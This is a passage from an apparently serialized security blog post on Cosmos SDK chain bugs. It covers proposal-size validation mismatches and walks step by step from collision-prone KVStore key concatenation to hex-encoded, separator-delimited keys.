commit\"",{"type":24,"tag":930,"props":87896,"children":87897},{"style":959},[87898],{"type":30,"value":962},{"type":24,"tag":930,"props":87900,"children":87901},{"style":1270},[87902],{"type":30,"value":87903},"\"height\"",{"type":24,"tag":930,"props":87905,"children":87906},{"style":959},[87907],{"type":30,"value":962},{"type":24,"tag":930,"props":87909,"children":87910},{"style":1023},[87911],{"type":30,"value":87219},{"type":24,"tag":930,"props":87913,"children":87914},{"style":959},[87915],{"type":30,"value":436},{"type":24,"tag":930,"props":87917,"children":87918},{"style":1023},[87919],{"type":30,"value":86550},{"type":24,"tag":930,"props":87921,"children":87922},{"style":959},[87923],{"type":30,"value":1054},{"type":24,"tag":930,"props":87925,"children":87926},{"class":932,"line":1610},[87927],{"type":24,"tag":930,"props":87928,"children":87929},{"style":959},[87930],{"type":30,"value":1831},{"type":24,"tag":930,"props":87932,"children":87933},{"class":932,"line":1628},[87934,87938,87942,87946,87950,87954],{"type":24,"tag":930,"props":87935,"children":87936},{"style":1079},[87937],{"type":30,"value":18847},{"type":24,"tag":930,"props":87939,"children":87940},{"style":1158},[87941],{"type":30,"value":10253},{"type":24,"tag":930,"props":87943,"children":87944},{"style":943},[87945],{"type":30,"value":87228},{"type":24,"tag":930,"props":87947,"children":87948},{"style":959},[87949],{"type":30,"value":436},{"type":24,"tag":930,"props":87951,"children":87952},{"style":943},[87953],{"type":30,"value":87258},{"type":24,"tag":930,"props":87955,"children":87956},{"style":959},[87957],{"type":30,"value":13987},{"type":24,"tag":930,"props":87959,"children":87960},{"class":932,"line":1637},[87961,87966,87970,87974],{"type":24,"tag":930,"props":87962,"children":87963},{"style":1023},[87964],{"type":30,"value":87965},"            Txs",{"type":24,"tag":930,"props":87967,"children":87968},{"style":959},[87969],{"type":30,"value":18434},{"type":24,"tag":930,"props":87971,"children":87972},{"style":1023},[87973],{"type":30,"value":87853},{"type":24,"tag":930,"props":87975,"children":87976},{"style":959},[87977],{"type":30,"value":2832},{"type":24,"tag":930,"props":87979,"children":87980},{"class":932,"line":1646},[87981,87986],{"type":24,"tag":930,"props":87982,"children":87983},{"style":959},[87984],{"type":30,"value":87985},"        }, ",{"type":24,"tag":930,"props":87987,"children":87988},{"style":937},[87989],{"type":30,"value":79721},{"type":24,"tag":930,"props":87991,"children":87992},{"class":932,"line":1673},[87993],{"type":24,"tag":930,"props":87994,"children":87995},{"style":959},[87996],{"type":30,"value":1840},{"type":24,"tag":930,"props":87998,"children":87999},{"class":932,"line":1692},[88000],{"type":24,"tag":930,"props":88001,"children":88002},{"style":959},[88003],{"type":30,"value":2528},{"type":24,"tag":33,"props":88005,"children":88006},{},[88007,88009,88014,88015,88020,88022,88029],{"type":30,"value":88008},"Aside from the more complex variant, pure validation mismatches are also still prevalent despite being a well-known attack surface. This stems from ",{"type":24,"tag":156,"props":88010,"children":88012},{"className":88011},[],[88013],{"type":30,"value":86379},{"type":30,"value":1087},{"type":24,"tag":156,"props":88016,"children":88018},{"className":88017},[],[88019],{"type":30,"value":86447},{"type":30,"value":88021},") rejections by various obscure checks hidden within CometBTF. For example, this commit fixes a bug where ",{"type":24,"tag":37,"props":88023,"children":88026},{"href":88024,"rel":88025},"https://github.com/babylonlabs-io/babylon/commit/aa827f875a16ebf85efee5d9a6c8c4e76dbfb7bd#diff-77659089b31367690393a968f4bfacfd1bf960ed300965729df216a6fb612699",[41],[88027],{"type":30,"value":88028},"PrepareProposal may return a Proposal larger than MaxTxBytes",{"type":30,"value":88030},", which will later get rejected by CometBTF.",{"type":24,"tag":68,"props":88032,"children":88034},{"id":88033},"the-keymaker",[88035],{"type":30,"value":88036},"The Keymaker",{"type":24,"tag":33,"props":88038,"children":88039},{},[88040,88042,88048,88050,88055],{"type":30,"value":88041},"States (persistent storage) are another crucial component in state machines. Cosmos relies on a custom key-value storage called",{"type":24,"tag":156,"props":88043,"children":88045},{"className":88044},[],[88046],{"type":30,"value":88047},"KVStore",{"type":30,"value":88049}," to handle states efficently. In ",{"type":24,"tag":156,"props":88051,"children":88053},{"className":88052},[],[88054],{"type":30,"value":88047},{"type":30,"value":88056},", keys and values are both represented as simple byte slices, requiring developers to handle serialization and deserialization of more intricate structures when working with storage.",{"type":24,"tag":33,"props":88058,"children":88059},{},[88060],{"type":30,"value":88061},"The complexity behind proper data serialization often results in flawed code and security vulnerabilities. Below, we showcase relatively simple (but buggy) implementations and progressively address and mitigate the issues until the code is deemed safe from exploits.",{"type":24,"tag":33,"props":88063,"children":88064},{},[88065,88067,88073],{"type":30,"value":88066},"Let's start by considering a scenario where we need to store the ",{"type":24,"tag":156,"props":88068,"children":88070},{"className":88069},[],[88071],{"type":30,"value":88072},"positionMap",{"type":30,"value":88074}," structure mentioned below into storage.",{"type":24,"tag":920,"props":88076,"children":88078},{"code":88077,"language":79244,"meta":7,"className":79245,"style":7},"type VaultId uint64\ntype Username string\ntype PositionName string\ntype Position struct {\n    data []byte\n}\ntype PositionMap :=\n    map[VaultId]map[Username]map[PositionName]Position\n",[88079],{"type":24,"tag":156,"props":88080,"children":88081},{"__ignoreMap":7},[88082,88098,88115,88131,88150,88165,88172,88189],{"type":24,"tag":930,"props":88083,"children":88084},{"class":932,"line":933},[88085,88089,88094],{"type":24,"tag":930,"props":88086,"children":88087},{"style":937},[88088],{"type":30,"value":35844},{"type":24,"tag":930,"props":88090,"children":88091},{"style":943},[88092],{"type":30,"value":88093}," VaultId",{"type":24,"tag":930,"props":88095,"children":88096},{"style":943},[88097],{"type":30,"value":79282},{"type":24,"tag":930,"props":88099,"children":88100},{"class":932,"line":984},[88101,88105,88110],{"type":24,"tag":930,"props":88102,"children":88103},{"style":937},[88104],{"type":30,"value":35844},{"type":24,"tag":930,"props":88106,"children":88107},{"style":943},[88108],{"type":30,"value":88109}," Username",{"type":24,"tag":930,"props":88111,"children":88112},{"style":943},[88113],{"type":30,"value":88114}," string\n",{"type":24,"tag":930,"props":88116,"children":88117},{"class":932,"line":993},[88118,88122,88127],{"type":24,"tag":930,"props":88119,"children":88120},{"style":937},[88121],{"type":30,"value":35844},{"type":24,"tag":930,"props":88123,"children":88124},{"style":943},[88125],{"type":30,"value":88126}," PositionName",{"type":24,"tag":930,"props":88128,"children":88129},{"style":943},[88130],{"type":30,"value":88114},{"type":24,"tag":930,"props":88132,"children":88133},{"class":932,"line":1057},[88134,88138,88142,88146],{"type":24,"tag":930,"props":88135,"children":88136},{"style":937},[88137],{"type":30,"value":35844},{"type":24,"tag":930,"props":88139,"children":88140},{"style":943},[88141],{"type":30,"value":10536},{"type":24,"tag":930,"props":88143,"children":88144},{"style":937},[88145],{"type":30,"value":24253},{"type":24,"tag":930,"props":88147,"children":88148},{"style":959},[88149],{"type":30,"value":981},{"type":24,"tag":930,"props":88151,"children":88152},{"class":932,"line":1066},[88153,88157,88161],{"type":24,"tag":930,"props":88154,"children":88155},{"style":1023},[88156],{"type":30,"value":46320},{"type":24,"tag":930,"props":88158,"children":88159},{"style":959},[88160],{"type":30,"value":79307},{"type":24,"tag":930,"props":88162,"children":88163},{"style":943},[88164],{"type":30,"value":87298},{"type":24,"tag":930,"props":88166,"children":88167},{"class":932,"line":1075},[88168],{"type":24,"tag":930,"props":88169,"children":88170},{"style":959},[88171],{"type":30,"value":2528},{"type":24,"tag":930,"props":88173,"children":88174},{"class":932,"line":1122},[88175,88179,88184],{"type":24,"tag":930,"props":88176,"children":88177},{"style":937},[88178],{"type":30,"value":35844},{"type":24,"tag":930,"props":88180,"children":88181},{"style":943},[88182],{"type":30,"value":88183}," PositionMap",{"type":24,"tag":930,"props":88185,"children":88186},{"style":1158},[88187],{"type":30,"value":88188}," :=\n",{"type":24,"tag":930,"props":88190,"children":88191},{"class":932,"line":1131},[88192,88197,88201,88206,88210,88214,88218,88223,88227,88231,88235,88240,88244],{"type":24,"tag":930,"props":88193,"children":88194},{"style":937},[88195],{"type":30,"value":88196},"    map",{"type":24,"tag":930,"props":88198,"children":88199},{"style":959},[88200],{"type":30,"value":6849},{"type":24,"tag":930,"props":88202,"children":88203},{"style":943},[88204],{"type":30,"value":88205},"VaultId",{"type":24,"tag":930,"props":88207,"children":88208},{"style":959},[88209],{"type":30,"value":18514},{"type":24,"tag":930,"props":88211,"children":88212},{"style":937},[88213],{"type":30,"value":70187},{"type":24,"tag":930,"props":88215,"children":88216},{"style":959},[88217],{"type":30,"value":6849},{"type":24,"tag":930,"props":88219,"children":88220},{"style":943},[88221],{"type":30,"value":88222},"Username",{"type":24,"tag":930,"props":88224,"children":88225},{"style":959},[88226],{"type":30,"value":18514},{"type":24,"tag":930,"props":88228,"children":88229},{"style":937},[88230],{"type":30,"value":70187},{"type":24,"tag":930,"props":88232,"children":88233},{"style":959},[88234],{"type":30,"value":6849},{"type":24,"tag":930,"props":88236,"children":88237},{"style":943},[88238],{"type":30,"value":88239},"PositionName",{"type":24,"tag":930,"props":88241,"children":88242},{"style":959},[88243],{"type":30,"value":18514},{"type":24,"tag":930,"props":88245,"children":88246},{"style":943},[88247],{"type":30,"value":88248},"Position\n",{"type":24,"tag":33,"props":88250,"children":88251},{},[88252,88254,88260],{"type":30,"value":88253},"Given that there are two levels of keys in ",{"type":24,"tag":156,"props":88255,"children":88257},{"className":88256},[],[88258],{"type":30,"value":88259},"PositionMap",{"type":30,"value":88261},", we should try to serialize these three map keys into a hierarchically searchable storage key. The most straightforward mitigation is to convert all fields into strings and concat them together.",{"type":24,"tag":920,"props":88263,"children":88265},{"code":88264,"language":79244,"meta":7,"className":79245,"style":7},"storageKey := fmt.Sprintf(\n    \"%d%s%s\",\n    vaultId,\n    username,\n    positionName,\n)\n",[88266],{"type":24,"tag":156,"props":88267,"children":88268},{"__ignoreMap":7},[88269,88298,88310,88322,88334,88346],{"type":24,"tag":930,"props":88270,"children":88271},{"class":932,"line":933},[88272,88277,88281,88285,88289,88294],{"type":24,"tag":930,"props":88273,"children":88274},{"style":1023},[88275],{"type":30,"value":88276},"storageKey",{"type":24,"tag":930,"props":88278,"children":88279},{"style":1158},[88280],{"type":30,"value":79495},{"type":24,"tag":930,"props":88282,"children":88283},{"style":1023},[88284],{"type":30,"value":85305},{"type":24,"tag":930,"props":88286,"children":88287},{"style":959},[88288],{"type":30,"value":436},{"type":24,"tag":930,"props":88290,"children":88291},{"style":1002},[88292],{"type":30,"value":88293},"Sprintf",{"type":24,"tag":930,"props":88295,"children":88296},{"style":959},[88297],{"type":30,"value":2814},{"type":24,"tag":930,"props":88299,"children":88300},{"class":932,"line":984},[88301,88306],{"type":24,"tag":930,"props":88302,"children":88303},{"style":1270},[88304],{"type":30,"value":88305},"    \"%d%s%s\"",{"type":24,"tag":930,"props":88307,"children":88308},{"style":959},[88309],{"type":30,"value":2832},{"type":24,"tag":930,"props":88311,"children":88312},{"class":932,"line":993},[88313,88318],{"type":24,"tag":930,"props":88314,"children":88315},{"style":1023},[88316],{"type":30,"value":88317},"    vaultId",{"type":24,"tag":930,"props":88319,"children":88320},{"style":959},[88321],{"type":30,"value":2832},{"type":24,"tag":930,"props":88323,"children":88324},{"class":932,"line":1057},[88325,88330],{"type":24,"tag":930,"props":88326,"children":88327},{"style":1023},[88328],{"type":30,"value":88329},"    username",{"type":24,"tag":930,"props":88331,"children":88332},{"style":959},[88333],{"type":30,"value":2832},{"type":24,"tag":930,"props":88335,"children":88336},{"class":932,"line":1066},[88337,88342],{"type":24,"tag":930,"props":88338,"children":88339},{"style":1023},[88340],{"type":30,"value":88341},"    positionName",{"type":24,"tag":930,"props":88343,"children":88344},{"style":959},[88345],{"type":30,"value":2832},{"type":24,"tag":930,"props":88347,"children":88348},{"class":932,"line":1075},[88349],{"type":24,"tag":930,"props":88350,"children":88351},{"style":959},[88352],{"type":30,"value":1054},{"type":24,"tag":33,"props":88354,"children":88355},{},[88356],{"type":30,"value":88357},"Although plain concatenation allows us to easily construct a storage key, it becomes apparent that this implementation is prone to key collisions.",{"type":24,"tag":920,"props":88359,"children":88361},{"code":88360},"vaultId = 1,  username = \"2a\", positionName = \"b\"\n    => storageKey = \"12ab\"\n\nvaultId = 12, username = \"a\",  positionName = \"b\"\n    => storageKey = \"12ab\"\n",[88362],{"type":24,"tag":156,"props":88363,"children":88364},{"__ignoreMap":7},[88365],{"type":30,"value":88360},{"type":24,"tag":33,"props":88367,"children":88368},{},[88369,88374],{"type":24,"tag":6032,"props":88370,"children":88371},{},[88372],{"type":30,"value":88373},"So, how can we mitigate this issue?",{"type":30,"value":88375},"\nPerhaps we can add a field separator between each field, which would resemble the following:",{"type":24,"tag":920,"props":88377,"children":88379},{"code":88378,"language":79244,"meta":7,"className":79245,"style":7},"const (\n    Seperator = \"|\"\n)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    username,\n    Seperator,\n    positionName,\n)\n",[88380],{"type":24,"tag":156,"props":88381,"children":88382},{"__ignoreMap":7},[88383,88394,88411,88418,88425,88452,88464,88475,88486,88497,88508,88519],{"type":24,"tag":930,"props":88384,"children":88385},{"class":932,"line":933},[88386,88390],{"type":24,"tag":930,"props":88387,"children":88388},{"style":937},[88389],{"type":30,"value":12762},{"type":24,"tag":930,"props":88391,"children":88392},{"style":959},[88393],{"type":30,"value":81645},{"type":24,"tag":930,"props":88395,"children":88396},{"class":932,"line":984},[88397,88402,88406],{"type":24,"tag":930,"props":88398,"children":88399},{"style":1023},[88400],{"type":30,"value":88401},"    Seperator",{"type":24,"tag":930,"props":88403,"children":88404},{"style":1158},[88405],{"type":30,"value":6137},{"type":24,"tag":930,"props":88407,"children":88408},{"style":1270},[88409],{"type":30,"value":88410}," \"|\"\n",{"type":24,"tag":930,"props":88412,"children":88413},{"class":932,"line":993},[88414],{"type":24,"tag":930,"props":88415,"children":88416},{"style":959},[88417],{"type":30,"value":1054},{"type":24,"tag":930,"props":88419,"children":88420},{"class":932,"line":1057},[88421],{"type":24,"tag":930,"props":88422,"children":88423},{"emptyLinePlaceholder":16},[88424],{"type":30,"value":2412},{"type":24,"tag":930,"props":88426,"children":88427},{"class":932,"line":1066},[88428,88432,88436,88440,88444,88448],{"type":24,"tag":930,"props":88429,"children":88430},{"style":1023},[88431],{"type":30,"value":88276},{"type":24,"tag":930,"props":88433,"children":88434},{"style":1158},[88435],{"type":30,"value":79495},{"type":24,"tag":930,"props":88437,"children":88438},{"style":1023},[88439],{"type":30,"value":85305},{"type":24,"tag":930,"props":88441,"children":88442},{"style":959},[88443],{"type":30,"value":436},{"type":24,"tag":930,"props":88445,"children":88446},{"style":1002},[88447],{"type":30,"value":88293},{"type":24,"tag":930,"props":88449,"children":88450},{"style":959},[88451],{"type":30,"value":2814},{"type":24,"tag":930,"props":88453,"children":88454},{"class":932,"line":1075},[88455,88460],{"type":24,"tag":930,"props":88456,"children":88457},{"style":1270},[88458],{"type":30,"value":88459},"    \"%d%s%s%s%s\"",{"type":24,"tag":930,"props":88461,"children":88462},{"style":959},[88463],{"type":30,"value":2832},{"type":24,"tag":930,"props":88465,"children":88466},{"class":932,"line":1122},[88467,88471],{"type":24,"tag":930,"props":88468,"children":88469},{"style":1023},[88470],{"type":30,"value":88317},{"type":24,"tag":930,"props":88472,"children":88473},{"style":959},[88474],{"type":30,"value":2832},{"type":24,"tag":930,"props":88476,"children":88477},{"class":932,"line":1131},[88478,88482],{"type":24,"tag":930,"props":88479,"children":88480},{"style":1023},[88481],{"type":30,"value":88401},{"type":24,"tag":930,"props":88483,"children":88484},{"style":959},[88485],{"type":30,"value":2832},{"type":24,"tag":930,"props":88487,"children":88488},{"class":932,"line":1144},[88489,88493],{"type":24,"tag":930,"props":88490,"children":88491},{"style":1023},[88492],{"type":30,"value":88329},{"type":24,"tag":930,"props":88494,"children":88495},{"style":959},[88496],{"type":30,"value":2832},{"type":24,"tag":930,"props":88498,"children":88499},{"class":932,"line":1169},[88500,88504],{"type":24,"tag":930,"props":88501,"children":88502},{"style":1023},[88503],{"type":30,"value":88401},{"type":24,"tag":930,"props":88505,"children":88506},{"style":959},[88507],{"type":30,"value":2832},{"type":24,"tag":930,"props":88509,"children":88510},{"class":932,"line":1191},[88511,88515],{"type":24,"tag":930,"props":88512,"children":88513},{"style":1023},[88514],{"type":30,"value":88341},{"type":24,"tag":930,"props":88516,"children":88517},{"style":959},[88518],{"type":30,"value":2832},{"type":24,"tag":930,"props":88520,"children":88521},{"class":932,"line":1223},[88522],{"type":24,"tag":930,"props":88523,"children":88524},{"style":959},[88525],{"type":30,"value":1054},{"type":24,"tag":33,"props":88527,"children":88528},{},[88529],{"type":30,"value":88530},"Inserting a separator helps prevent most accidental collisions, but does it completely solve the problem?",{"type":24,"tag":33,"props":88532,"children":88533},{},[88534,88536,88542,88543,88549],{"type":30,"value":88535},"Sadly, it doesn't. Since the ",{"type":24,"tag":156,"props":88537,"children":88539},{"className":88538},[],[88540],{"type":30,"value":88541},"username",{"type":30,"value":211},{"type":24,"tag":156,"props":88544,"children":88546},{"className":88545},[],[88547],{"type":30,"value":88548},"vaultName",{"type":30,"value":88550}," are both strings that may contain arbitrary characters (including the separator), collisions can still happen.",{"type":24,"tag":920,"props":88552,"children":88554},{"code":88553},"vaultId = 1, username = \"a|\", positionName = \"b\"\n    => storageKey = \"1|a||b\"\n\nvaultId = 1, username = \"a\",  positionName = \"|b\"\n    => storageKey = \"1|a||b\"\n",[88555],{"type":24,"tag":156,"props":88556,"children":88557},{"__ignoreMap":7},[88558],{"type":30,"value":88553},{"type":24,"tag":33,"props":88560,"children":88561},{},[88562],{"type":30,"value":88563},"To further mitigate this, we could encode all fields to ensure that the separator is excluded in individual fields, thus making field injections impossible.",{"type":24,"tag":920,"props":88565,"children":88567},{"code":88566,"language":79244,"meta":7,"className":79245,"style":7},"const (\n    Seperator = \"|\"\n)\n\n\nusernameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(username)),\n)\nhex.Encode(usernameEncoded, username)\n\npositionNameEncoded := make(\n    []byte,\n    hex.EncodedLen(len(positionName)),\n)\nhex.Encode(positionNameEncoded, positionName)\n\nstorageKey := fmt.Sprintf(\n    \"%d%s%s%s%s\",\n    vaultId,\n    Seperator,\n    usernameEncoded,\n    Seperator,\n    positionNameEncoded\n)\n",[88568],{"type":24,"tag":156,"props":88569,"children":88570},{"__ignoreMap":7},[88571,88582,88597,88604,88611,88618,88639,88655,88693,88700,88737,88744,88764,88779,88815,88822,88857,88864,88891,88902,88913,88924,88936,88947,88955],{"type":24,"tag":930,"props":88572,"children":88573},{"class":932,"line":933},[88574,88578],{"type":24,"tag":930,"props":88575,"children":88576},{"style":937},[88577],{"type":30,"value":12762},{"type":24,"tag":930,"props":88579,"children":88580},{"style":959},[88581],{"type":30,"value":81645},{"type":24,"tag":930,"props":88583,"children":88584},{"class":932,"line":984},[88585,88589,88593],{"type":24,"tag":930,"props":88586,"children":88587},{"style":1023},[88588],{"type":30,"value":88401},{"type":24,"tag":930,"props":88590,"children":88591},{"style":1158},[88592],{"type":30,"value":6137},{"type":24,"tag":930,"props":88594,"children":88595},{"style":1270},[88596],{"type":30,"value":88410},{"type":24,"tag":930,"props":88598,"children":88599},{"class":932,"line":993},[88600],{"type":24,"tag":930,"props":88601,"children":88602},{"style":959},[88603],{"type":30,"value":1054},{"type":24,"tag":930,"props":88605,"children":88606},{"class":932,"line":1057},[88607],{"type":24,"tag":930,"props":88608,"children":88609},{"emptyLinePlaceholder":16},[88610],{"type":30,"value":2412},{"type":24,"tag":930,"props":88612,"children":88613},{"class":932,"line":1066},[88614],{"type":24,"tag":930,"props":88615,"children":88616},{"emptyLinePlaceholder":16},[88617],{"type":30,"value":2412},{"type":24,"tag":930,"props":88619,"children":88620},{"class":932,"line":1075},[88621,88626,88630,88635],{"type":24,"tag":930,"props":88622,"children":88623},{"style":1023},[88624],{"type":30,"value":88625},"usernameEncoded",{"type":24,"tag":930,"props":88627,"children":88628},{"style":1158},[88629],{"type":30,"value":79495},{"type":24,"tag":930,"props":88631,"children":88632},{"style":1002},[88633],{"type":30,"value":88634}," make",{"type":24,"tag":930,"props":88636,"children":88637},{"style":959},[88638],{"type":30,"value":2814},{"type":24,"tag":930,"props":88640,"children":88641},{"class":932,"line":1122},[88642,88647,88651],{"type":24,"tag":930,"props":88643,"children":88644},{"style":959},[88645],{"type":30,"value":88646},"    []",{"type":24,"tag":930,"props":88648,"children":88649},{"style":943},[88650],{"type":30,"value":87835},{"type":24,"tag":930,"props":88652,"children":88653},{"style":959},[88654],{"type":30,"value":2832},{"type":24,"tag":930,"props":88656,"children":88657},{"class":932,"line":1131},[88658,88663,88667,88672,88676,88680,88684,88688],{"type":24,"tag":930,"props":88659,"children":88660},{"style":1023},[88661],{"type":30,"value":88662},"    hex",{"type":24,"tag":930,"props":88664,"children":88665},{"style":959},[88666],{"type":30,"value":436},{"type":24,"tag":930,"props":88668,"children":88669},{"style":1002},[88670],{"type":30,"value":88671},"EncodedLen",{"type":24,"tag":930,"props":88673,"children":88674},{"style":959},[88675],{"type":30,"value":1010},{"type":24,"tag":930,"props":88677,"children":88678},{"style":1002},[88679],{"type":30,"value":12247},{"type":24,"tag":930,"props":88681,"children":88682},{"style":959},[88683],{"type":30,"value":1010},{"type":24,"tag":930,"props":88685,"children":88686},{"style":1023},[88687],{"type":30,"value":88541},{"type":24,"tag":930,"props":88689,"children":88690},{"style":959},[88691],{"type":30,"value":88692},")),\n",{"type":24,"tag":930,"props":88694,"children":88695},{"class":932,"line":1144},[88696],{"type":24,"tag":930,"props":88697,"children":88698},{"style":959},[88699],{"type":30,"value":1054},{"type":24,"tag":930,"props":88701,"children":88702},{"class":932,"line":1169},[88703,88708,88712,88717,88721,88725,88729,88733],{"type":24,"tag":930,"props":88704,"children":88705},{"style":1023},[88706],{"type":30,"value":88707},"hex",{"type":24,"tag":930,"props":88709,"children":88710},{"style":959},[88711],{"type":30,"value":436},{"type":24,"tag":930,"props":88713,"children":88714},{"style":1002},[88715],{"type":30,"value":88716},"Encode",{"type":24,"tag":930,"props":88718,"children":88719},{"style":959},[88720],{"type":30,"value":1010},{"type":24,"tag":930,"props":88722,"children":88723},{"style":1023},[88724],{"type":30,"value":88625},{"type":24,"tag":930,"props":88726,"children":88727},{"style":959},[88728],{"type":30,"value":962},{"type":24,"tag":930,"props":88730,"children":88731},{"style":1023},[88732],{"type":30,"value":88541},{"type":24,"tag":930,"props":88734,"children":88735},{"style":959},[88736],{"type":30,"value":1054},{"type":24,"tag":930,"props":88738,"children":88739},{"class":932,"line":1191},[88740],{"type":24,"tag":930,"props":88741,"children":88742},{"emptyLinePlaceholder":16},[88743],{"type":30,"value":2412},{"type":24,"tag":930,"props":88745,"children":88746},{"class":932,"line":1223},[88747,88752,88756,88760],{"type":24,"tag":930,"props":88748,"children":88749},{"style":1023},[88750],{"type":30,"value":88751},"positionNameEncoded",{"type":24,"tag":930,"props":88753,"children":88754},{"style":1158},[88755],{"type":30,"value":79495},{"type":24,"tag":930,"props":88757,"children":88758},{"style":1002},[88759],{"type":30,"value":88634},{"type":24,"tag":930,"props":88761,"children":88762},{"style":959},[88763],{"type":30,"value":2814},{"type":24,"tag":930,"props":88765,"children":88766},{"class":932,"line":1281},[88767,88771,88775],{"type":24,"tag":930,"props":88768,"children":88769},{"style":959},[88770],{"type":30,"value":88646},{"type":24,"tag":930,"props":88772,"children":88773},{"style":943},[88774],{"type":30,"value":87835},{"type":24,"tag":930,"props":88776,"children":88777},{"style":959},[88778],{"type":30,"value":2832},{"type":24,"tag":930,"props":88780,"children":88781},{"class":932,"line":1313},[88782,88786,88790,88794,88798,88802,88806,88811],{"type":24,"tag":930,"props":88783,"children":88784},{"style":1023},[88785],{"type":30,"value":88662},{"type":24,"tag":930,"props":88787,"children":88788},{"style":959},[88789],{"type":30,"value":436},{"type":24,"tag":930,"props":88791,"children":88792},{"style":1002},[88793],{"type":30,"value":88671},{"type":24,"tag":930,"props":88795,"children":88796},{"style":959},[88797],{"type":30,"value":1010},{"type":24,"tag":930,"props":88799,"children":88800},{"style":1002},[88801],{"type":30,"value":12247},{"type":24,"tag":930,"props":88803,"children":88804},{"style":959},[88805],{"type":30,"value":1010},{"type":24,"tag":930,"props":88807,"children":88808},{"style":1023},[88809],{"type":30,"value":88810},"positionName",{"type":24,"tag":930,"props":88812,"children":88813},{"style":959},[88814],{"type":30,"value":88692},{"type":24,"tag":930,"props":88816,"children":88817},{"class":932,"line":1335},[88818],{"type":24,"tag":930,"props":88819,"children":88820},{"style":959},[88821],{"type":30,"value":1054},{"type":24,"tag":930,"props":88823,"children":88824},{"class":932,"line":1376},[88825,88829,88833,88837,88841,88845,88849,88853],{"type":24,"tag":930,"props":88826,"children":88827},{"style":1023},[88828],{"type":30,"value":88707},{"type":24,"tag":930,"props":88830,"children":88831},{"style":959},[88832],{"type":30,"value":436},{"type":24,"tag":930,"props":88834,"children":88835},{"style":1002},[88836],{"type":30,"value":88716},{"type":24,"tag":930,"props":88838,"children":88839},{"style":959},[88840],{"type":30,"value":1010},{"type":24,"tag":930,"props":88842,"children":88843},{"style":1023},[88844],{"type":30,"value":88751},{"type":24,"tag":930,"props":88846,"children":88847},{"style":959},[88848],{"type":30,"value":962},{"type":24,"tag":930,"props":88850,"children":88851},{"style":1023},[88852],{"type":30,"value":88810},{"type":24,"tag":930,"props":88854,"children":88855},{"style":959},[88856],{"type":30,"value":1054},{"type":24,"tag":930,"props":88858,"children":88859},{"class":932,"line":1418},[88860],{"type":24,"tag":930,"props":88861,"children":88862},{"emptyLinePlaceholder":16},[88863],{"type":30,"value":2412},{"type":24,"tag":930,"props":88865,"children":88866},{"class":932,"line":1438},[88867,88871,88875,88879,88883,88887],{"type":24,"tag":930,"props":88868,"children":88869},{"style":1023},[88870],{"type":30,"value":88276},{"type":24,"tag":930,"props":88872,"children":88873},{"style":1158},[88874],{"type":30,"value":79495},{"type":24,"tag":930,"props":88876,"children":88877},{"style":1023},[88878],{"type":30,"value":85305},{"type":24,"tag":930,"props":88880,"children":88881},{"style":959},[88882],{"type":30,"value":436},{"type":24,"tag":930,"props":88884,"children":88885},{"style":1002},[88886],{"type":30,"value":88293},{"type":24,"tag":930,"props":88888,"children":88889},{"style":959},[88890],{"type":30,"value":2814},{"type":24,"tag":930,"props":88892,"children":88893},{"class":932,"line":1479},[88894,88898],{"type":24,"tag":930,"props":88895,"children":88896},{"style":1270},[88897],{"type":30,"value":88459},{"type":24,"tag":930,"props":88899,"children":88900},{"style":959},[88901],{"type":30,"value":2832},{"type":24,"tag":930,"props":88903,"children":88904},{"class":932,"line":1506},[88905,88909],{"type":24,"tag":930,"props":88906,"children":88907},{"style":1023},[88908],{"type":30,"value":88317},{"type":24,"tag":930,"props":88910,"children":88911},{"style":959},[88912],{"type":30,"value":2832},{"type":24,"tag":930,"props":88914,"children":88915},{"class":932,"line":1525},[88916,88920],{"type":24,"tag":930,"props":88917,"children":88918},{"style":1023},[88919],{"type":30,"value":88401},{"type":24,"tag":930,"props":88921,"children":88922},{"style":959},[88923],{"type":30,"value":2832},{"type":24,"tag":930,"props":88925,"children":88926},{"class":932,"line":1569},[88927,88932],{"type":24,"tag":930,"props":88928,"children":88929},{"style":1023},[88930],{"type":30,"value":88931},"    usernameEncoded",{"type":24,"tag":930,"props":88933,"children":88934},{"style":959},[88935],{"type":30,"value":2832},{"type":24,"tag":930,"props":88937,"children":88938},{"class":932,"line":1592},[88939,88943],{"type":24,"tag":930,"props":88940,"children":88941},{"style":1023},[88942],{"type":30,"value":88401},{"type":24,"tag":930,"props":88944,"children":88945},{"style":959},[88946],{"type":30,"value":2832},{"type":24,"tag":930,"props":88948,"children":88949},{"class":932,"line":1610},[88950],{"type":24,"tag":930,"props":88951,"children":88952},{"style":1023},[88953],{"type":30,"value":88954},"    positionNameEncoded\n",{"type":24,"tag":930,"props":88956,"children":88957},{"class":932,"line":1628},[88958],{"type":24,"tag":930,"props":88959,"children":88960},{"style":959},[88961],{"type":30,"value":1054},{"type":24,"tag":33,"props":88963,"children":88964},{},[88965,88967,88972],{"type":30,"value":88966},"We did it. We finally eliminated all potential ",{"type":24,"tag":156,"props":88968,"children":88970},{"className":88969},[],[88971],{"type":30,"value":88276},{"type":30,"value":88973}," collisions.",{"type":24,"tag":33,"props":88975,"children":88976},{},[88977],{"type":30,"value":88978},"Until now, our focus has primarily been on storing a single structure. We recognize that in real-world applications, we frequently encounter scenarios where multiple structures must be stored as persistent states.",{"type":24,"tag":33,"props":88980,"children":88981},{},[88982,88984,88990,88992,88997,88999,89004,89006,89011,89013,89019],{"type":30,"value":88983},"In the Cosmos framework, it is common for each ",{"type":24,"tag":156,"props":88985,"children":88987},{"className":88986},[],[88988],{"type":30,"value":88989},"Module",{"type":30,"value":88991}," to own a few ",{"type":24,"tag":156,"props":88993,"children":88995},{"className":88994},[],[88996],{"type":30,"value":88047},{"type":30,"value":88998}," and have individual ",{"type":24,"tag":156,"props":89000,"children":89002},{"className":89001},[],[89003],{"type":30,"value":83023},{"type":30,"value":89005},"s managing access to storages. It's also important to note that each ",{"type":24,"tag":156,"props":89007,"children":89009},{"className":89008},[],[89010],{"type":30,"value":88047},{"type":30,"value":89012}," should be independent from one another, alleviating developers from having to worry about key collisions between different ",{"type":24,"tag":156,"props":89014,"children":89016},{"className":89015},[],[89017],{"type":30,"value":89018},"Modules",{"type":30,"value":436},{"type":24,"tag":33,"props":89021,"children":89022},{},[89023,89025,89030],{"type":30,"value":89024},"With that being said, what if we have to maintain more than one structure within the same ",{"type":24,"tag":156,"props":89026,"children":89028},{"className":89027},[],[89029],{"type":30,"value":88047},{"type":30,"value":5347},{"type":24,"tag":33,"props":89032,"children":89033},{},[89034,89036,89042,89044,89049],{"type":30,"value":89035},"To demonstrate this scenario, we introduce the 